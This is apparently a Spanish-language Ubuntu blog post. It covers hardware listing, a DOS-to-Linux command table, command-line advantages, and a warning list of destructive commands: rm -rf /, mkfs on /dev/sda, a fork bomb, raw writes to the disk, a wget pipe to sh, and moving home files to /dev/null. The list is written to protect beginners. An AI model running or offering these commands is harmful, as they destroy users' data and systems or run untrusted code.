Ahora con estos comandos podrás saber todo lo que necesitas cuando busques algún controlador o driver para tu equipo en Ubuntu, por ejemplo si deseas saber que adaptador de red tienes, o que driver usa tu tarjeta inalámbrica.
Para poder sacar una lista de especificaciones completa de tu hardware en Ubuntu (su similar en Windows podría ser el comando dxdiag desde Menú Inicio » Ejecutar) :
sudo lshw
También puedes obtener detalles específicos agregando -C valor; donde valor es el detalle a enlistar, por ejemplo para obtener detalles de tus discos:
sudo lshw -C disk
(RECOMENDADO) Si en el terminal te parece desordenada la información, puedes exportar en un html las especificaciones (se guarda en tu carpeta /home/usuario):
Es bueno que sepas que cosas no hacer en Linux, mas aún si eres una de las personas que recién se inicia con este sistema operativo. Otra razón es para evitar que alguna vez te encuentres con alguien que te quiera tomar el pelo, en foros o salas de chat. Acá hay una lista de algunos comandos que NUNCA DEBES EJECUTARLOS:
1. Comando:
rm -rf /
Este comando forzará a borrar recursivamente todos los archivos del directorio root (variantes : rm -rf * ó rm -rf . ó rm -r .[^.]* ). Este gráfico lo explica mejor xD:
La versión hexadecimal del comando anterior [rm -rf /].
3. Comando:
mkfs.ext3 /dev/sda
Mkfs es usado para formatear una partición, asi que basicamente creará un sistema de archivos ext3 en blanco en la primera partición de /dev/sda.
4. Comando:
:(){:|:&};:
Conocido como la bomba fork (forkbomb), este comando ejecutará una gran cantidad de procesos hasta que el sistema se cuelgue. Esto a menudo puede llevar a la corrupción de archivos.
5. Comando:
cualquier_comando > /dev/sda
Manipulacion de bloques en los dispositivos: provoca que datos sean escritos en un bloque del dispositivo, puede provocar la pérdida de todos tus datos por abuso del sistema de archivos.
6. Comando:
wget http://algun_lugar_inseguro -O- | sh
Nunca descargues o ejecutes archivos de sitios inseguros, esto puedo conllevar a que ejecutes código malicioso en Linux.
7. Comando:
mv /home/tunombredeusuario/* /dev/null
Este comando moverá todos tus archivos del directorio home señalado, a un lugar que no existe; por lo tanto perderás estos archivos.
La mayoría de estos comandos necesitan el permiso de root para poder ejecutarlos. Vuelvo a repetir que no uses estos comandos en tu equipo, si quieres probarlos hazlo en una máquina virtual.
Como demostración, ésto es lo que sucede si ejecutas el primer o segundo comando:
Si eres nuevo en Linux, al oir acerca de sus comandos podrás pensar que son díficiles de aprender y deben de ser muchos. Pues a mi parecer, con la práctica de usar algunos, te darás cuenta de que no son dificiles y son pocos los necesarios para el uso diario. Aca hay una guia de comandos básicos imprescindibles que usaras a diario y de cómo instalar aplicaciones en Ubuntu
Ahora si estabas acostumbrado a usar linea de comandos en Windows esta tabla te ayudará a usar sus semejantes en Linux:
Comando DOS
Comando Linux
cd directorio
cd directorio
dir, dir/w
ls, ls -l
chdir (directorio actual)
pwd
del (borra un archivo)
rm
deltree (borra un directorio y todo su contenido)
rm -r
copy
cp
xcopy (copia todo el contenido de un directorio)
cp -R
rename, move
mv
type (imprime el contenido de un archivo a la pantalla)
cat
help, [comando] /?
man
cls (limpia la pantalla)
clear
find (busca por una palabra(s) en un determinado archivo)
grep
fc (compara 2 archivos y encuentra diferencias entre ellos)
diff
set (muestra variable de entorno)
env
set variable (fija una variable de entorno)
export
edit nombre-de-archivo
vi archivo, pico archivo, nano -w archivo (varios basados en el editor de tu preferencia)
attrib +h archivo (fija un archivo como oculto)
mv file .file
mem (muestra la memoria disponible)
free, top
scandisk
fsck
defrag c:\
debugfs
format
mke2fs, mk32fs -j, mkreiserfs, mkswap, etc. (varios basados en el sistema de archivos de tu preferencia)
pkzip (crea un paquete de archivos)
tar, utilizado en conjunto con gzip para compresión)
tracert
traceroute
ipconfig (visualiza dirección IP y configuración de red)
ifconfig
nbtstat -a nombrehost (toma la información DNS de un determinado host)
nslookup nombrehost
route print (muestra tablas de ruteo)
route -n
net send host/ip message (envia un mensaje a otro computador)
smbclient -M Windows Host, talk (Linux hosts)
Por último, si te interesa puedes leer este artículo sobre 5 razones para usar linea de comandos:
1.Control total del sistema. Esto puede variar.Lo que trato de decir es que estoy acostumbrado a hacer algunas tareas utilizando algunas herramientas de línea de comandos en lugar de una aplicación gráfica.Por ejemplo, usar una aplicación gráfica que me haga preguntas sobre si realmente estoy seguro de pasar los argumentos que quiero o utilizar algunos valores por defecto que no necesito.Ni una sola vez he visto una aplicación gráfica basada en línea de comandos capaz de aplicar sólo la mitad de las opciones disponibles, por lo que no fui capaz de hacer lo que realmente quería.
2.Potente para muchas tareas. La línea de comandos es a menudo más potente que las aplicaciones gráficas para tareas específicas.Por ejemplo, piensa en la posibilidad de tener un directorio con cientos de diferentes tipos de archivos en él.Mover, copiar, renombrar a la larga sería muy difícil en una interfaz gráfica.Seleccionar casi cada elemento con el ratón mientras presiona CTRL no es fácil para una gran cantidad de archivos y tardas mucho tiempo en hacerlo todo. Con la línea de comandos puedes utilizar un único comando con el fin de realizar cualquiera que sea la tarea.
3.Posibilidad de usar guiones bash. Tengo varios pequeños scripts en mi directorio ~/bin/, que en Debian detecta e incluye por defecto en la ruta de comandos ejecutables.Por lo tanto, puedo ejecutar comandos específicos sobre algunos archivos con un solo comando y un parámetro.Esto es muy útil si tienes algunas necesidades específicas o quieres un comportamiento determinado con alguna herramienta, que no se aplica a cualquier aplicación gráfica.
4.Menos memoria. Utilizando la línea de comando no hará falta cargar en el sistema librerías adicionales que no estén aún cargadas para las aplicaciones gráficas.
5.Capacidad para utilizar alias. Alias es una gran característica de bash que permite a un usuario crear uno o más comandos utilizando un comando sencillo, fácil de escribir, llamado alias.La capacidad de utilizar esto a menudo hace que el trabajo sea más fácil.
Por favor comparte estas ventajas (si quieres) si crees que la línea de comandos es una alternativa más potente que las aplicaciones gráficas.
Hola, este es un blog personal, donde encontrarás noticias o cosas de la internet que me llamen la atención, y algunos pequeños tutoriales que haré sobre Ubuntu y Windows; con la finalidad de compartir y no olvidar lo que uno aprende...